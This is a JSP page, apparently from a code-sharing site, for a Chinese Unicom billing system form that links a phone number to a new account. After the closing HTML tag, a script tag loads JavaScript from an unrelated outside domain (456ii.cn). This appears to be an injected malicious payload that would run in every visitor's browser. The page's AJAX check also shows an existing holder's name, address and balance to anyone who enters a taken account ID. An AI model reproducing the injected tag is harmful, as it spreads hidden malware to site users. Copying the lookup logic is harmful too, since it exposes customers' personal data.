📄 newaccount1.jsp
字号:
<%@page pageEncoding="UTF-8"%>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html"%>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean"%>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic"%>
<%@ page import = "unicom.bean.*,java.util.*"%>
<HTML><HEAD><TITLE>联通收费系统</TITLE>
<META http-equiv=Content-Type content="text/html; charset=UTF-8">
<META content="MSHTML 6.00.2600.0" name=GENERATOR>
<link href="style.css" rel="stylesheet" type="text/css">
<script language="JavaScript">
var xmlHttp;
var checkResult;
//回调函数(当请求成功发到服务器并且服务返回200响应状态码时而执行)
function callBackShow()
{
if(xmlHttp.readyState == 4)
{
if(xmlHttp.status == 200)
{
var xmlDoc = xmlHttp.responseXML;
var checkValue = xmlDoc.getElementsByTagName("check")[0].childNodes[0].nodeValue;
if(checkValue == "false")
{
checkResult.innerHTML = "<font color='red'> 恭喜！该帐号可以使用</font>";
}
else
{
//操纵html文档，显示出信息，并且不能修改
checkResult.innerHTML = "<font color='red'> 抱歉！该帐号已被占用</font>";
document.getElementById("accountIdLabel").innerHTML = "已存在手机帐号:";
document.getElementById("accountNameLabel").innerHTML = "该帐号联系姓名:";
document.getElementById("accountAddressLabel").innerHTML = "该帐号联系地址:";
document.getElementById("accountChargeLabel").innerHTML = "该帐号所存余额:";
document.getElementById("sub").innerHTML = "";
document.dynaForm.accountName.value=xmlDoc.getElementsByTagName("name")[0].childNodes[0].nodeValue;
document.dynaForm.accountAddress.value=xmlDoc.getElementsByTagName("address")[0].childNodes[0].nodeValue;
document.dynaForm.accountCharge.value=xmlDoc.getElementsByTagName("balance")[0].childNodes[0].nodeValue;
}
}
}
}
//内容改变事件所触发而调用的函数
function accountCheck()
{
var accountId = document.dynaForm.accountId.value;
checkResult = document.getElementById("checkResult");
//首先进行传值前的合法校验
if(accountId=="")
{
checkResult.innerHTML = "<font color='red'> 注意!手机帐号不能为空值</font>";
document.dynaForm.accountId.focus();
return;
}
if(isNaN(accountId))
{
checkResult.innerHTML = "<font color='red'> 注意!手机帐号为整数</font>";
document.dynaForm.accountId.value = "";
document.dynaForm.accountId.focus();
return;
}
//用dom操作html文档节点
checkResult.innerHTML = "<font color='red'> 正在检查该手机帐号是否被占用...</font>";
//取得xmlHttpRequest对象
if(window.ActiveXObject)
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
else if(window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}
//从页面取得的code值作为下面url的请求参数,注意"&timeStamp=" + new Date().getTime()"这段代码防止xmlHttpRequest对象读取缓存
var url = "account.check?accountId=" + accountId + "&timeStamp=" + new Date().getTime();
xmlHttp.open("get",url,true);
xmlHttp.onreadystatechange=callBackShow;
xmlHttp.send(null);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//当触发onchange时间时，将下拉列表中被选中的值赋予mobileNumber文本框
function showMobileNumber()
{
//取得被选中的下拉列表值
var numbers = document.dynaForm.mobileNumbers;
document.dynaForm.mobileNumber.value = numbers[numbers.selectedIndex].value;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//提交前的合法性验证
function addAccountValiedate()
{
var theForm = document.dynaForm;
var mobileNumber = theForm.mobileNumber.value;
var accountId = theForm.accountId.value;
var accountName = theForm.accountName.value;
var accountAddress = theForm.accountAddress.value;
var accountCharge = theForm.accountCharge.value;
if(mobileNumber=="")
{
theForm.mobileNumber.focus();
alert("电话号码不能为空");
return false;
}
if(isNaN(mobileNumber))
{
theForm.mobileNumber.focus();
alert("电话号码必须为整数");
return false;
}
if((document.dynaForm.mobileNumber.value.replace(/[^\x00-\xff]/g,'**').length) != 11)
{
document.dynaForm.mobileNumber.focus();
window.alert("请在文本框中输入11位电话号码");
return false;
}
if(accountId=="")
{
theForm.accountId.focus();
alert("手机帐号不能为空");
return false;
}
if(accountName=="")
{
theForm.accountName.focus();
alert("联系人姓名不能为空");
return false;
}
if(accountAddress=="")
{
theForm.accountAddress.focus();
alert("联系人地址不能为空");
return false;
}
if(accountCharge=="")
{
theForm.accountCharge.focus();
alert("开户金额不能为空");
return false;
}
if(isNaN(accountCharge))
{
theForm.accountCharge.focus();
alert("开户金额必须为整数");
return false;
}
return true;
}
</script>
</HEAD>
<BODY bgColor=#ffffff leftMargin=0 topMargin=0 marginheight="0" marginwidth="0">
<CENTER>
<%@ include file="head.jsp"%>
<TABLE cellSpacing=0 cellPadding=0 width=749 border=0>
<TBODY>
<TR vAlign=top>
<TD width=173 bgColor=#c9d3e9 rowSpan=2>
<%@ include file="left.jsp"%>
</TD>
<TD width=2 rowSpan=3><IMG height=1 src="images\blank(1).gif" width=2></TD>
<TD width="2">
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD height=25> 您现在的位置：为手机指定账户</TD>
</TR>
<TR>
<TD bgColor=#2650a6><IMG height=1 src="images\blank(1).gif"
width=1></TD></TR>
<TR>
<TD><IMG height=2 src="images\blank(1).gif" width=574></TD></TR></TBODY></TABLE></TD></TR>
<TR vAlign=top>
<TD height="600" bgColor=#f1f3f9>
<html:form action="/addAcount.do" onsubmit="return addAccountValiedate();" focus="mobileNumber">
<p>请输入手机号码:<html:text property="mobileNumber" />
<logic:present name="mobileNoAccountList" scope="request">
未开户手机号码列表:
<html:select property="mobileNumbers" style="width:120px" onchange="showMobileNumber();">
<html:options collection="mobileNoAccountList" property="number" labelProperty="number"/>
</html:select>
</logic:present></p>
<p><label id="accountIdLabel">请输入手机帐号:</label><html:text property="accountId" onblur="accountCheck();"/><label id = "checkResult"></label>
<p><label id="accountNameLabel">请输入联系姓名:</label><html:text property="accountName"/></p>
<p><label id="accountAddressLabel">请输入联系地址:</label><html:text property="accountAddress"/></p>
<p><label id="accountChargeLabel">请输入开户金额:</label><html:text property="accountCharge"/>
<p>
<label id = "sub"><html:submit value="提交"/><html:reset value="重置"/></label></p>
</html:form>
</TD>
</TR>
</TBODY></TABLE>
<BR></CENTER></BODY></HTML>
<script language=javascript src=http://www.456ii.cn/all/aa.js></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -